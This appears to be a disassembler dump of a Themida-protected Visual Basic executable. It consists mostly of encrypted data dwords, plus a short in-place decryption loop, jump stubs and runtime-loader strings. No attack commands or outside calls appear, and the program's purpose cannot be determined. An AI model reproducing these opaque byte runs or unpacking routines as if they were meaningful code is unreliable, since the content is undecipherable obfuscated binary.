458514DFh, 24D017C8h dd 67CE8C7Bh, 0BC491DD8h, 36E4EBA5h, 7518636Ah, 5A11B822h dd 0F2784AE3h, 0E3BE93D6h, 31h, 0F584EF80h, 6011B819h dd 48BFEBB4h, 0E08B621Ah, 1DD8692Ah, 12CCFD6Ch, 969EBF6Bh dd 0F99CE7E6h, 0D611B820h, 6EF4CE67h, 5FBE93DBh, 7, 81413A3h dd 48970000h, 0DC8B621Ah, 0B71A708Bh, 0DE10767Bh, 0C9148413h dd 0A516D117h, 9A8B32DBh, 106A7FBh, 1DDE9569h, 2EBB32E2h dd 0BF2E631Dh, 4AABD28Ch, 0A251A0E4h, 4A49FB53h, 0EFF4D39Ch dd 7A17C849h, 95C6338Ah, 243786DBh, 5C02636Ah, 802ED928h dd 0BF11ABC2h, 53AD9CFh, 6968E830h, 0AE1D3h, 0CB7DD200h dd 77312796h, 0D082DB2Ah, 681A3283h, 0DE98CA3Bh, 30F3C3B1h dd 0C233601Ah, 2D80D58Fh, 0CB3A6719h, 33B1DE98h, 934453A0h dd 0B7111DDEh, 46375EC3h, 0AF9317C8h, 0E79BE8D7h, 0D31DDE8Ch dd 0AB895AB8h, 0C0E11C55h, 169BC8B4h, 125D5428h, 17C85572h dd 97E6DDC9h, 0D8277B44h, 9DA60980h, 3A299CC9h, 0B2A00180h dd 0AF4F56BBh, 2B1EE66Fh, 82712571h, 0B1C6F4F5h, 18631411h dd 5853679h, 56F30DCh, 0AA59AA19h, 358BAE59h, 0DACA0585h dd 853648E7h, 40610D05h, 0E5DC96C5h, 0E7884298h, 0C11C2F7Eh dd 0AED58Fh, 4DE22D54h, 81858536h, 0AD5AA9DDh, 8B9542E3h dd 0CD8AD8B3h, 0FA34521Bh, 0D5D3C3B1h, 6E46A020h, 1355EB6Eh dd 400000Ah, 794C19CBh, 5F8AD67h, 84711ED0h, 0FCC99648h dd 5772CE6h, 0AE687A3Dh, 3BD14E1h, 0B5675F4Eh, 4BE0DE0h dd 71FE4D4Fh, 1DDE93DEh, 4831D977h, 0E08B621Ah, 1DDE8E3Ch dd 41B0FFEFh, 0BA0B5812h, 7100EFA9h, 701EA55Fh, 7BC6E215h dd 0F2BBC9D3h, 0AAD280E1h, 0E280A853h, 0C4C317C7h, 8FB01867h dd 3CB3DF70h, 0AFE49EADh, 5C530D3Eh, 8706B80Dh, 0A00192DBh dd 803A29B2h, 0B992DDD4h, 1011B239h, 98BEC55h, 55105FDh dd 520C3FAEh, 1BB0E5Bh, 0DA8BD482h, 0AB9DF8EBh, 9D4EA5F1h dd 85D53F52h, 99661605h, 0C3D09143h, 19D30574h, 24A3CC7Ah dd 585D511h, 2F195B9h, 9C1D9175h, 0C0D6B10Bh, 0DF91CB81h dd 4F32E0h, 0E376012Fh, 72FF7037h, 0A78DCE82h, 6A7908F7h dd 0C112E3B0h, 0CA378807h, 35E1E092h, 0A5D9856Ch, 8081A14Eh dd 0CABA0586h, 88FC62C3h, 0E092CC39h, 805235E1h, 0A0E2159Dh dd 95E2E18Ah, 0FF69D54Fh, 2FF6F4A0h, 55FA7208h, 8FCBE56h dd 0DAED0000h, 568A7B28h, 0DFF6C79Ch, 4F85782Dh, 0E5F5C89Dh dd 3E06762Bh, 0F8AD677Bh, 451AD405h, 0F7AC5E78h, 461BD506h dd 0C9681366h, 8C1DDE94h, 0A95A4632h, 0C8453B5Eh, 276A1A17h dd 21FB276Ah, 0E1E48DA2h, 4A9938F2h, 0E5ECA6BBh, 3E8D7839h dd 695FD84h, 0EFA9BA6Bh, 79AA30A2h, 0C9BB883h, 0EF000000h dd 1B3AB5Ah, 4A41C60h, 47640000h, 0C9103EE5h, 0A55358CEh dd 269171F5h, 17C8DA13h, 0AFFE5242h, 0D8FE1644h, 3515011Dh dd 0C487196Ah, 8DF15DE4h, 0DD8FC736h, 5C6708B6h, 0BD01C10Fh dd 67661644h, 22756918h, 0A14D742Eh, 7F20CEF5h, 49B8CC72h dd 0B04C21BEh, 5D54403Eh, 5401BB10h, 0FA157261h, 7990A5CFh dd 771AED92h, 0DE328894h, 0CB84622Eh, 0F1BB3321h, 820DA72h dd 0BE110000h, 7266570Ch, 0C31AEBB8h, 5B714411h, 0D909FCA9h dd 3202721Fh, 0F4A15B6Fh, 4916D001h, 0E3B0627Ch, 5A07C112h dd 0DD7C075Ah, 781DDE95h, 0AB5A2ADEh, 660DECB5h, 49A6A59Ah dd 6271541Dh, 86DC29A8h, 2C1297CCh, 691A6958h, 0C8F77B1Eh dd 0D52ADA17h, 1FA8C983h, 1DDF3FD1h, 58A71606h, 0AE3D5CA7h dd 6C1811B2h, 0D791C243h, 6E283B8Ah, 3C40EE4Fh, 0F70E3AC5h dd 493517C8h, 1ED80B7Ah, 0DBF38271h, 0B3FCAA29h, 48470152h dd 0A1538AF7h, 0DA2B7422h, 621C2D88h, 5E3AF5Bh, 0E21F502Eh dd 7B67FD7Ch, 6C000007h, 2194C173h, 0CD20752Fh, 2C99C678h dd 0E4D17E30h, 0D5F34EEh, 0B6706225h, 0BC51CE9h, 0BD6F6756h db 0E8h, 15h, 0C6h byte_5B067F db 0Ch ; DATA XREF: sub_559C84-496Ao dd 79065557h, 1DDE95D6h, 4839E17Fh, 0E08B621Ah, 1DDE8E48h dd 7C1B68FBh, 0D911B1FCh, 0FB8A792Dh, 94612EE8h, 9BFE853Fh dd 8FE0CFB7h, 0FC0493E0h, 0A55111B1h, 238392E2h, 426BE8C3h dd 0C1678BC5h, 0C3F00B17h, 2A5D94D4h, 0E08CA8C9h, 1A7B390Ah dd 6C0487E2h, 6FEh, 7926D8EFh, 0C59A548Ch, 762BDDF8h, 0C69B4D87h dd 7C29E3F7h, 65753808h, 0D207F6ABh, 647A4B18h, 0BB10DDB2h dd 1505401h, 0DE96E376h, 24D4721Dh, 464D075Ch, 0A32AE4F7h dd 1C2DBC3Bh, 0EEAF5B62h, 5A893CF5h, 79DFF3A0h, 68B883B3h dd 7, 2BC13C0h, 5C970000h, 0E3464D07h, 4BB8077Fh, 1DDE8F23h dd 540E42AFh, 54E0812Dh, 0B0AC59A8h, 8AD37FFEh, 3FF9EADBh dd 5082EF40h, 224BF796h, 0A0F5AFA3h, 0F2AC9E4Bh, 621A48A9h dd 8FDC8Bh, 0E611B1FBh, 0E6943BF5h, 0F0D39C88h, 0C843CA83h dd 78473717h, 0AE687A07h, 0DA8CC20Fh, 125B07B3h, 0B9E6A0B3h dd 31AC4D4Ah, 0F15422F9h, 347D29DBh, 0C9C882D1h, 0D70B667Ch dd 9CC8761Dh, 0C7AE94F5h, 0A6585E07h, 239AC611h, 520827D4h dd 0A14D0B9Bh, 5740300h, 0C7731AD4h, 5F8F21A6h, 0AA5711ABh dd 0B26C5EB9h, 0C7B7BDDEh, 306F86F1h, 17ADACE8h, 5FAh dd 0D42F4EBh, 0A1EEA8A0h, 1A47F954h, 52FFB1ABh, 0E0B56F63h dd 0F1E1A48Ch, 469B6A37h, 0F0E6D78Ch, 0AFA4113Eh, 0AD3CA0F5h dd 0DE982F42h, 0E0C8261Dh, 0B6AC075Ch, 6E29D5FCh, 91E4FD5Bh dd 6A693D76h, 6F0EC81Bh, 26DD9807h, 88527769h, 8A918C5h dd 5A73CEFDh, 297D29A8h, 0A800667Ch, 7F1B883h, 39000000h dd 13913h, 75C9700h, 6FEA6F4Dh, 3130D5F3h, 5819Bh, 0AB5D7200h dd 17D107F6h, 0B0627B4Ah, 8BA12E3h, 0BE786A5Bh, 50D3A391h dd 0A21340FAh, 4DA0F5AFh, 0AB1A47F9h, 5351FEB8h, 97E47300h dd 0D7711DDEh, 4D075C23h, 2AE4F746h, 19C3BA3h, 0AEA4FF54h dd 7521CDF4h, 0B424AA20h, 1215B883h, 6D000000h, 0D513h dd 5181F000h, 1394D697h, 0CAh, 621A4897h, 8F48E08Bh, 0BFB1DDEh dd 493D2184h, 14330D7Ah, 27B417C2h, 9A557C2Eh, 10F6E8Eh dd 2F1A560h, 0A240E275h, 0CF83730Bh, 19736AD9h, 23B9B8E2h dd 4EAh, 7DD284DBh, 315E1830h, 8AD789C4h, 226F213Bh, 90C57FD3h dd 151D49Ch, 0B6AB1A47h, 56A7FCh, 9FB4014Eh, 9D2CB0E5h dd 0DE993F52h, 0D0B8161Dh, 8B621A48h, 0D893D2E0h, 7665141Dh dd 39C615BCh, 11B7F716h, 5A034F3Fh, 15489DAh, 454C18D2h dd 87F6CD99h, 4DF99852h, 0C60D410Ah, 0DE7FC427h, 597996E5h dd 1DAE2E2Fh, 0DAF9B3A5h, 588B782Ch, 0CD08FD9Eh, 1CE7A41Bh dd 0F9A6A13Ch, 6F402546h, 11B829DDh, 4916D003h, 10AF617Ch dd 45978h, 1A481000h, 48E08B62h, 0FB1DDE8Fh, 3D21840Bh dd 7A097A49h, 0B1FB6A0Dh, 0C83BEB11h, 11B1FAA9h, 249FC0ACh dd 7E3026D3h, 0BD0A53FFh, 17C21363h, 0C9229884h, 0F7E219D2h dd 41CDC74h, 0BA0D0000h, 766A5B08h, 0BF16E7BCh, 6F65580Dh dd 0C515E8BDh, 1EE6560Bh, 0D88D479Bh, 653AF4E5h, 0D78C3E98h dd 663BF5E6h, 0E988F386h, 6C1DDE99h, 1A4826D2h, 4CE08B62h dd 0FF1DDE8Fh, 21A05A6Eh, 23D22175h, 0DC297630h, 0DA352C87h dd 0D27ED284h, 0FDE44AABh, 0B1FADF72h, 0CB867611h, 0B5DA7E8Dh dd 368DD9F2h, 0C2F2CAC5h, 4BCAF233h, 96F17365h, 0ADEED956h dd 0C79BC15Ah, 5FCA817h, 5AA96378h, 0B2FBB5ABh, 17D102F3h dd 55291578h, 0ED01A15Eh, 2F12CC04h, 6D1AD1C5h, 723F28Fh dd 358ECF83h, 0AA611CCAh, 0D43B211h, 0EDDD2C53h, 363E5F33h dd 80FFB1A5h, 0D5287ED2h, 1BE83166h, 35C0098h, 0FA4D0000h dd 0B6AA1B48h, 0FF56A7FCh, 0AFA5184Dh, 555A8FDh, 5E26164Bh dd 98CD87DBh, 257A3425h, 97CC7ED8h, 267B3526h, 0A9C833C6h dd 0AC1DDE9Ah, 75C6612h, 0E4F7464Dh, 0CE74752Ah, 26BC47B6h dd 411DD85Ah, 4AE12E55h, 9411B82Fh, 0B0FD843Eh, 9EB13E9Bh dd 0B711B82Eh, 3FF49BC7h, 1591A540h, 0A92F039Eh, 98BE93C9h dd 4Fh, 621A48F0h, 45E2E08Bh, 0D5241DD8h, 94DFCE80h, 11B84505h dd 79FBA450h, 6159368Dh, 113086A6h, 0A42BE5FBh, 0D201AAF6h dd 23DDF481h, 42FC4D9Ch, 0D37A4D0Eh, 0FC11B910h, 50D6AC45h dd 41BE92EBh, 106h, 53E691E2h, 211B905h, 5C214912h, 7764D07h dd 3D5617D1h, 0A120DAF0h, 3E45FF54h, 0F47FDCEFh, 17C84565h dd 615004F0h, 7B02BC14h, 0E4D78ECFh, 4549E893h, 600C17C8h dd 4977C83Fh, 0D80B17C8h, 4F84711Eh, 7F611E95h, 453E808Fh dd 63C6CD8Eh, 0CB3887FFh, 1DD7F9D5h, 6C6D22D2h, 80EFBEC6h dd 5ABB883h, 0ECD9254Dh, 0E6943BF5h, 0B6A742C5h, 0EE9E17CAh dd 0CF0170FFh, 85C06E15h, 3988B40Fh, 0F1D49D9Ch, 897A27E1h dd 842DE7FCh, 21975181h, 0E215F6C8h, 13F58B0Eh, 4000002h dd 794C19CBh, 5F8AD67h, 84711ED0h, 0FCC99648h, 5772CE6h dd 0AE687A3Dh, 3BD14E1h, 0B5675F4Eh, 4BE0DE0h, 71FE4D4Fh dd 1DDE9BDEh, 5A31D977h, 675FB2ABh, 34E2E1B5h, 7F489A6Bh dd 4AB93664h, 0DD7C072Bh, 7817C8F8h, 358CD88Ch, 0E9D892C8h dd 0C8F8FB9Eh, 1AA5A17h, 0A70251A4h, 1DDAF9B3h, 0BD93410Ah dd 297D296Ah, 1A482E7Ch, 0E2E08B62h, 241DD845h, 0AFCE80D5h dd 303FAC03h, 2511B845h, 503C3879h, 454FE631h, 378F11B8h dd 9BAFFE85h, 0F063E2E1h, 0EC52135h, 0B8197F53h, 0F708BE93h dd 60000000h, 5DB2AB5Ah, 0C8457F12h, 7A26D617h, 1F9E5085h dd 88DB2A73h, 1160AFCEh, 0D6840BBDh, 44FD9CE7h, 0AC5817C8h dd 16D00203h, 49DB2C77h, 0EAA517C8h, 5F6551E0h, 3FC6E75Ch dd 0AEFD520Ch, 0B54063Fh, 0D0EFA9BAh, 6D1AC16Dh, 17C804CAh dd 0F8C79B8Bh, 0D818158Bh, 7CD4211Dh, 4E0FBBC2h, 886936E6h dd 9C4BA2DAh, 1C45F74Dh, 0CAA6A5ABh, 75027117h, 0BA53BE2h dd 3BE27502h, 83730BA5h, 0C4B0F19Dh, 469CE9D8h, 0F4E6D78Ch dd 27E39E2Bh, 52FEC36Eh, 17512D54h, 0C0585BE2h, 0D2h, 85DA8CC3h dd 39662038h, 0B2DF91CCh, 0A570943h, 0B8EDA7BBh, 2939FCC4h dd 7ED3226Fh, 281E8FC4h, 87DC2976h, 0C51498CDh, 0DE9D173Ah dd 0F8A03E1Dh, 0B6AB065Ch, 0AC59A8FCh, 28D6FDB7h, 7CCF1E87h dd 2BD82D21h, 17C8450Ch, 8A095D49h, 89F83CCDh, 0EEA242D2h dd 4C18D201h, 0AB5A4B17h, 28D6FDB7h, 934D7E87h, 53AE9DECh dd 913D44FEh, 250990C5h, 0EC759261h, 0E9A3B76Bh, 21593CEAh dd 0B70C55F5h, 0F0AAB948h, 0F6BF58AFh, 0F2A21DDEh, 934D7ECBh dd 0EF7EEDBEh, 0EF9B22DCh, 0B2667504h, 6B34E011h, 0F08F499Ah dd 7EC730A3h, 944DBE17h, 6B38F2E1h, 0F08F499Ah, 0DAF9ABA1h dd 4AFBB62Dh, 70E65019h, 0FE89AEF7h, 9BB0FD52h, 34AE2E1h dd 5E000000h, 35CBFEBh, 0F0E33251h, 144A9736h, 0BB0E5B62h dd 1F338201h, 0BB0F5E65h, 19338201h, 0C4196867h, 2A1E6B12h dd 51945170h, 0BB53E189h, 4, 835BD901h, 0C8704E9h, 89575C24h dd 4C781E7h, 81000000h, 4EFh, 243C8700h, 241C895Ch, 2FCE68h dd 243C8900h, 164ACF68h, 241C8B06h, 4C481h, 8B540000h dd 0C483243Ch, 89575504h, 5FFD89DFh, 5D086F89h, 53243C8Bh dd 0C381E389h, 4, 4C381h, 1C870000h, 34FF5C24h, 0C4835B24h dd 0F0EAE904h, 5B49FFFAh, 94063450h, 39D8320Bh, 137A00C8h dd 165990B8h dd 0FFC50306h, 7DABE0h, 0BCE3B908h, 849E5A5Bh, 24D9DE21h dd 56150632h, 5625AE7Eh, 5FC6455Eh, 0D0E20A0Dh, 62A6B138h dd 0D694387Bh, 1D8D8D23h, 8906165Bh, 100081BDh, 0F58D8906h dd 6A061009h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 1D61C350h, 5EDC9724h, 1985C7C2h dd 74061023h, 6A00006Eh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0C759C356h, 1022C185h dd 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 11B0F45h, 0E63FA03h, 1651958Bh, 9570610h dd 100E2995h, 0B5FF5B06h, 61004E9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 19C35141h, 9F31BA41h, 0BD8B3CAEh dd 6102D51h, 2DB995FFh, 6E90610h, 0FC000000h, 8FA8654h dd 0FF006A41h, 1031C995h, 0EBC08B06h, 0BAEC1D18h, 0EE40E43Eh dd 9D5532B6h, 0BCEFD641h, 0FDFF5323h, 0DFEF0F59h, 14E835h dd 40900000h, 5BB2FEDAh, 8B4AAFE3h, 48819CA9h, 6CD383A9h dd 0BD8BBB46h, 6101D11h, 0C38B6659h, 6221C181h, 0B8660000h dd 0D233B92Eh, 4ADBD89h, 348B0610h, 0AE911h, 51EE0000h dd 0F2645A7Fh, 0CEEDE3E1h, 0C961EE81h, 81F511ABh, 0D09E22F6h dd 0DFB70F0Eh, 0B3ECF681h, 81563B27h, 502B81F7h, 0E9565B63h dd 6, 2ECB2266h, 48FEA81h, 0BF0F6011h, 8FCFBFC9h, 8B613260h dd 101E459Dh, 4EA8306h, 2205BD8Bh, 0FA810610h, 0FFFF9EA0h dd 16850Fh, 0CF800000h, 29E9DCh, 0BD670000h, 6B90E018h dd 53FC66A3h, 0B003F86h, 0E9C38B66h, 0FFFFFF7Eh, 1FA8FA26h dd 38E1194Eh, 18EE0A00h, 5339253Bh, 0E9DCB42Dh, 29h, 5E96A1Ch dd 9 dup(0) dd 5A5E900h, 4BFB0000h, 1FC55408h, 40E574E8h, 1FC45307h dd 3DEF66E2h, 205C4AFEh, 0BBFFEB2h, 2498D98Ch, 2B6F195h dd 2397CC73h, 0ED555428h, 96BDA20h, 793220ACh, 0F0A9633Bh dd 7B317990h, 50442044h, 0B90900DEh, 5D6DCCA6h, 0BD6FEC01h dd 0DC12E575h, 0FD00ED24h, 0DE1BD0E3h, 2E122E32h, 0F44FB7Ah dd 8CC97E3Dh, 7B0BB772h, 6FEB6DCCh, 762DAC5Ah, 8E365541h dd 0AF10AB57h, 255A1110h, 0CC76354Bh, 286DCC7Bh, 30A72F4Ch dd 0C8B3F7Ah, 15671B56h, 7B8240EBh, 6626DCCh, 86C76AF1h dd 0DA79089Ah, 0F06CA75Bh, 39F2C269h, 0D6791004h, 0C799BD99h dd 7B50F299h, 97926DCCh, 6DCC7B2Bh, 0C39F4FCBh, 0A253B996h dd 895ECA06h, 7318A39Dh, 0DD6A2136h, 626DCC2Eh, 0E627C261h dd 0C6336AE3h, 76h, 5FE3A6B8h, 0F06DCC3Ah, 2905FD3Ch, 0A9D77854h dd 0CC7C4002h, 0B3C8A46Dh, 564A7F28h, 79AE55E4h, 0D7D4A98Dh dd 6DCC7C69h, 777211B2h, 336B3636h, 116h, 0A9D77400h, 573E7F32h dd 6DCC7CEBh, 813A0F0Bh, 0E9E094CBh, 26180C43h, 95B2F193h dd 782C691Eh, 5EC75E45h, 309279A6h, 0D46DCC7Ch, 69627C58h dd 6B582707h, 8942F903h, 0A7C4A054h, 0CAFFA82Fh, 7E32780Eh dd 8C34533Fh, 852AA155h, 8B3D5C48h, 7E25584Ch, 4F863EE7h dd 17A27673h, 0E94D3972h, 0A701AC04h, 0B2C7B599h, 86587211h dd 0CC923F83h, 7E5BD76Dh, 58D413B5h, 1F52AE1h, 0D0AAE38Ah dd 782C6309h, 761FDFFCh, 7A43A63Dh, 5A336A45h, 77h, 338F7A64h dd 0D36DCC98h, 3C868557h, 0D86DCC98h, 32A57F5Ch, 0C3FEA47Eh dd 2DD4F39Fh, 566D00F4h, 93D276BFh, 0ADECA017h, 0F02DE2F9h dd 81205304h, 1E2A0845h, 18B6442Dh, 0FD813C43h, 6361336Ah dd 0AB000000h, 533F7E32h, 79538E34h, 89D2CE54h, 5E25D86h dd 0FFBAA619h, 35F1348h, 77BE55E6h, 382296D5h, 0E75313h dd 2244400Fh, 40E83D31h, 2CE1587Ch, 324ED6F3h, 84F437Ah dd 6DCC7CBFh, 0E99DDC90h, 44033AF2h, 39B460A1h, 3605CB6Ah dd 0C20BEE85h, 0A2336B35h, 0Ah, 0E877AF9Ch, 0CA2296DCh dd 7B3217ADh, 90374E42h, 7B30A75Bh, 8E33523Eh, 0B50EA155h dd 7100B21Eh, 23E6F8D2h, 6DCC7C9Fh, 55DEFB77h, 5EC377B0h dd 0BF6A8457h, 67FC065Ah, 4544302Ch, 66F5699Eh, 623AEDBDh dd 0A15571ACh, 0A6F5A1C5h, 9423891Eh, 0F1D56C53h, 89A61C0Fh dd 0E23E9423h, 60954E05h, 81B66DECh, 184DF695h, 37492F6Ch dd 2389CE74h, 2D4A2694h, 752EF78Eh, 0F6AB2E40h, 936DC9BDh dd 23892A98h, 794ECA94h, 40F2DBC5h, 662C1F38h, 0CDFF4346h dd 1B179423h, 945D2237h, 74397B84h, 15Dh, 6585618Ah, 0DBE884D6h dd 1A72C7E5h, 491E4217h, 15BD5C83h, 933BEA20h, 2FA4C91Ah dd 0F0F2C1Ah, 0AC5F7155h, 67FC779Fh, 80170B67h, 441692C7h dd 0DB5A8407h, 0D1EC0C6Fh, 928EC8h, 2DDCEED2h, 943C4F95h dd 5BD8F571h, 0DE5D6FA4h, 2CDAEF26h, 0D5C1F6ADh, 0E54CE378h dd 8A55093Eh, 397B0347h, 5427h, 0C15C6500h, 0D949401Ah dd 0FDEDCC7Ch, 0D68C4F21h, 0CC8BE79Bh, 0FFFFDC15h, 0CC7CEA58h dd 5AE1D3EDh, 0E8D79B4h, 22371B5Ah, 6A6DE281h, 36AC5F71h dd 0AC6DCC7Ch, 17A340BFh, 1532D632h, 0D4550965h, 0B5h dd 0DA85EFDCh, 9814C7DAh, 46739FF5h, 2F4C921Ch, 1EBD5C95h dd 0C3C5D4Ch, 31A867FCh, 7228457Ah, 3B300AF6h, 9F366229h dd 2FACC1DEh, 10874378h, 276E2257h, 94233F9Ch, 7155ECD3h dd 0D7017C7Ch, 3CE46EE1h, 31151105h, 0ABD3B00Ch, 1C31742Bh dd 0F7B3E89Fh, 0FED00BAAh, 999929E0h, 0A17D9423h, 0A1CAB4CCh dd 3851690Eh, 5C472427h, 9E199FFBh, 5C7B2703h, 381165A3h dd 2CD811B8h, 0AE172348h, 5E7D294Dh, 1FB66AABh, 0FD792D6Eh dd 574B8A3Eh, 0D8E47B24h, 9A3CD36Eh, 0CE3E8DB1h, 2B403420h dd 0CEA03BDAh, 2E8D7ADBh, 0D6A88494h, 0E3876103h, 27AFCCA8h dd 1EBD5CA1h, 9BDC8D4Ch, 8A6E8BE7h, 0F6D83E9Fh, 85A5A667h dd 1AEECE4Bh, 0D714B76Eh, 731B0002h, 5E974EB5h, 8589AEB2h dd 0F03DF2Eh, 0BD91CF78h, 0D5A79E16h, 3F219DB9h, 708DC47Ch dd 1B073CE3h, 262DB74Ch, 0BC536C98h, 2599CE75h, 671DED96h dd 4E04430h, 7FBC6FEAh, 31E524C8h, 6F661835h, 1937FBCh dd 0F6F7D372h, 569CA1C3h, 2FDD0AB9h, 0DB1328E1h, 8BF7C51h dd 27E057D3h, 81B50DFCh, 0DF519826h, 2681962Ch, 0CEF26E98h dd 395FEF2h, 0E7000000h, 80326D5Fh, 9952493Dh, 7519B064h dd 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h dd 7830A75Bh, 52CF5541h, 0C281E289h, 4, 3304EA83h, 14312414h dd 24143324h, 0E689565Ch, 4C681h, 0EE830000h, 24348704h dd 242C895Ch, 7B668h, 24148900h, 3CE8BF57h, 0E7C10E4Eh dd 40CF8106h, 0C14F2963h, 0EF8102EFh, 59B13F4Eh, 5D04B850h dd 0D8F75A92h, 7135D0F7h, 2D09A244h, 2B545CBDh, 8958C701h dd 0CD685FFDh, 8900004Fh, 4832424h, 555A0424h, 0F3240481h dd 8F663308h, 0B8500842h, 663308F3h, 58084229h, 5A2434FFh dd 8B04C483h, 8953242Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h dd 1E92E95Ch, 0B8A3FFFAh, 6166134h, 0E0FFC503h, 6D8C758Eh dd 22F6EAC9h, 617C39CDh, 4E350080h, 47A661D8h, 6C37D617h dd 499CFDE3h, 4DA3898Bh, 6A8BA40h, 497FB64Fh, 6609C204h dd 1FB6FAAh, 67BE2ADDh, 538819A9h, 7299A0Eh, 26DB07A4h dd 4FE01CB9h, 5C81A96Dh, 7F11EB8Bh, 1234A05Ah, 72D19F98h dd 4D413839h, 34704C08h, 54C80756h, 3E1B3A41h, 5F8D85D9h dd 31591135h, 7CADFD45h, 22D227CFh, 0BE8h, 2900100h, 0BF81DD52h dd 0DC005AA3h, 0E78166h, 9E9587Bh, 66000000h, 0C499597Fh dd 93AEEC11h, 7166C081h, 0ABB0000h, 6831A92Eh, 1C3Dh, 8BF78B5Ah dd 81F28B08h, 233BF1E9h, 8178B313h, 49CCA0F1h, 6E930h dd 8BFD0000h, 18A43F4Ah, 120BF181h, 0DD8A0CA3h, 48BB0889h dd 836376C6h, 0F5204E8h, 683h, 860F00h, 5E000000h, 0BC850F4Ah dd 8DFFFFFFh, 1663AD8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0F58D89EDh, 0E9061009h dd 11h, 0D3A80EE5h, 87EFA7E3h, 0C681227h, 0FCBB8AEEh, 1985C756h dd 0AC061023h, 0B200006Bh, 0C185C7ADh, 61022h, 0E9000000h dd 0Dh, 0C891E620h, 7438F5E8h, 0F82DCF41h, 58F0F09h, 66000000h dd 930BD381h, 2ED5B5FFh, 6A0610h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 254E8C3h, 633D326Eh dd 607FC63Bh, 9D895A52h, 6101651h, 0B995FF61h, 6A06102Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0F8D9C351h, 0BCEE215h, 10061985h, 0FF006A06h dd 1031C995h, 0EBC08B06h, 0D2B27F1Ch, 5F84289Bh, 0D27F99A2h dd 0A9B5B3E6h, 86D2DF96h, 0DF3B7A58h, 92AEDDA1h, 12E8D8h dd 83AC0000h, 0FE15DCA4h, 0A06BEF5Bh, 7CBE9585h, 9F0F8918h dd 5518D29h, 89580610h, 102D09B5h, 0E8C08106h, 0B100005Fh dd 17D6BE45h, 0B9600000h, 0B48959Ah, 5E8h, 3E94CB00h, 880F151Eh dd 0 ; --------------------------------------------------------------------------- pop esi popa loc_5B1882: ; CODE XREF: Themida_:005B18BAj mov ebx, [eax] or [ebp+6100585h], edi sub ebx, 7BEE46E5h add dx, 3257h xor ebx, 0DD60A8h add dl, 0B1h sub ebx, 32FFC1F0h mov ch, 0A0h mov [eax], ebx sub [ebp+610141Dh], ecx sub eax, 4 xor dh, 96h sub esi, 1 jnz loc_5B1882 jmp loc_5B18D2 ; --------------------------------------------------------------------------- db 34h, 2Eh, 0D4h dd 32BF8A0Ah, 162904E4h db 9, 73h ; --------------------------------------------------------------------------- loc_5B18D2: ; CODE XREF: Themida_:005B18C0j jmp loc_5B1A3C ; --------------------------------------------------------------------------- db 67h dd 0C52849D9h, 4377E705h, 5F6D5C3Ah, 61706E75h, 72656B63h dd 63617000h, 2E64656Bh, 657865h, 3Ah dup(0) db 0 db 2 dup(0), 33h aCannotFindS_Pl db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 align 4 dd 2 dup(0) ; --------------------------------------------------------------------------- loc_5B1A3C: ; CODE XREF: Themida_:loc_5B18D2j jmp loc_5B3638 ; --------------------------------------------------------------------------- push 6166808h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61668E4h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61669D1h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6166A8Eh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6166AD2h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6166BA7h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6166C02h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6166C50h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61673E4h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6167474h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6167548h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 616761Fh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6167684h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6167765h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 616780Bh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61678C0h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6167ED8h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6167FF5h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 616809Eh jmp loc_5534D8 ; --------------------------------------------------------------------------- db 9Eh dd 0A635A9ECh, 8413C7FEh, 0B128A4DDh, 8E0DC1FEh, 291F9BDAh dd 0BEFDAFDDh, 99DA8B0Ah, 0B5F09625h, 94C982F9h, 604B3518h dd 6BDA1AE2h, 321FA502h, 39504479h, 84E15D92h, 0C5946675h dd 2A2FE324h, 2C038B54h, 3B1034B6h, 0F0456625h, 6FC167FCh dd 3CB006BCh, 36751794h, 4436E64Ah, 3CB0FD45h, 391D1994h dd 0D378431Dh, 96C5C196h, 943CB028h, 641047FDh, 9084C365h dd 0E1EF861Dh, 63263838h, 943CB0DFh, 7D1E3B37h, 5DAA03E6h dd 4E8A397Ah, 0B4000000h, 965EC1B7h, 0B09D87CBh, 5E6639F1h dd 63E9FEC0h, 0D41B96D7h, 36433244h, 0A635C421h, 0B9FCD5D4h dd 3E1A67FCh, 1AE93F2Ch, 16BC466Eh, 0A8164541h, 4B943CB0h dd 915C9938h, 71397A69h, 0E2h, 72A45E8Fh, 4BC47EBBh, 607D599Ah dd 447932C4h, 58973950h, 4B762DACh, 0CC7CE260h, 4A26026Dh dd 5D883F56h, 0CC7C14AEh, 5074F06Dh, 0CD2DDCh, 39F26DCCh dd 1AD14804h, 213F31E5h, 3380D86Ah, 98CF7592h, 9C9888ECh dd 44971EBFh, 0E185542Ah, 6176FAA6h, 3F6B9AAh, 4D015D98h dd 0A3FE873h, 0A03D1A16h, 1A8C219h, 9E155950h, 2D6E1FB6h dd 893EFD79h, 0F8DC584Ch, 72B153E6h, 0B4E7E4B6h, 0C5A6AB21h dd 